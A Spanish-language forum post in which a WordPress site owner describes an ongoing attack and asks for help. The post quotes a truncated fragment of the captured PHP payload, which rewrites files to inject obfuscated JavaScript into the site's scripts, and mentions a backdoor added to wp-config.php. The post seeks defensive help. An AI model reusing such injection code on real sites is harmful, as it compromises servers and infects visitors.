Ataque a mi WordPress

Hola! No se si este tema va a acá, creería que si, pero les comento.
Mi sitio está siendo atacado desde varios IPs, tengo instalado Mute Screamer (es un IDS), Scanner Exploit, IP Ban y me muestra esto:

POST.HOST: set_time_limit(0); function modify($fname){ $tmp = file_get_contents($fname); $pos = strpos($tmp,'var _0xa687=["\x74\x6F\x4C'); if ($pos === false){ $code = 'var _0xdc8d=["\x73\x63\x5F\x63\x6F"... y sigue.

Lo que hacen es ejecutarme eso, no se cómo, y me infectan todos los JS. El virus también me modifica el wp-config.php abriendo una puerta de acceso. Yo hice un script para limpiarlo pero sería conveniente eliminar el problema de raíz.

Alguien tuvo un problema similar?
Gracias de antemano.